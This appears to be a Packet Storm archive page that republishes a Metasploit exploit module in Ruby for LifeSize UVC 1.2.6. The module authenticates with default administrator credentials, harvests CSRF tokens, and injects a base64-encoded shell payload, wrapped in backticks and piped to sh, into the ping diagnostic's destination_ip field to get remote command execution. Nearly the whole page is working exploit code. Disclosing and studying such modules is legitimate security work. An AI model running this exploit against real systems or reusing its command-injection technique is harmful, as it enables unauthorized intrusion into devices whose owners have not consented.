what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

LifeSize UVC Authenticated Remote Command Execution

LifeSize UVC Authenticated Remote Command Execution
Posted Mar 25, 2014
Authored by Brandon Perry | Site metasploit.com

When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker can abuse the ping diagnostic functionality to achieve remote command execution as the www-data user (or equivalent).

tags | exploit, remote
SHA-256 | efca4edbd5362527ab761c155c785c794bfe447ad8520c997f75d88b0393b019

LifeSize UVC Authenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "LifeSize UVC Authenticated RCE via Ping",
'Description' => %q{
When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker
can abuse the ping diagnostic functionality to achieve remote command
execution as the www-data user (or equivalent)
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module
],
'References' =>
[
['EDB', '32437']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['LifeSize UVC version <= 1.2.6', {}]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'python'
}
},
'DisclosureDate' => "Mar 21 2014",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123'])
], self.class)
end

def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'accounts', 'login/')
})

if !res or !res.body
fail_with("Server did not respond in an expected way")
end

if res.code != 200
fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port")
end

token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)

if token.length < 2
fail_with("Could not find token on page.")
end

token = token[1]

post = {
'csrfmiddlewaretoken' => token,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}

#referer is required
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'accounts/'),
'method' => 'POST',
'vars_post' => post,
'headers' => {
'Referer' => 'https://' + datastore['RHOST'] + '/accounts/'
},
'cookie' => 'csrftoken=' + token
})

if !res
fail_with("Server did not respond in an expected way")
end

#we want a 302, 200 means we are back at login page
if res.code == 200
fail_with("Authentication failed. Please check your username and password.")
end

cookie = res.get_cookies

new_cookie = 'csrftoken=' + token + '; ' + cookie

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),
'cookie' => new_cookie
})

if !res or !res.body
fail_with("Server did not respond in an expected way")
end

token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)
token = token[1]

new_cookie = 'csrftoken=' + token + '; ' + cookie

pay = 'csrfmiddlewaretoken='+token
pay << '&source_ip=' + datastore['RHOST']
pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com'

#referer is required
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),
'method' => 'POST',
'headers' => {
'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/'
},
'cookie' => new_cookie,
'data' => pay
})
end
end

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close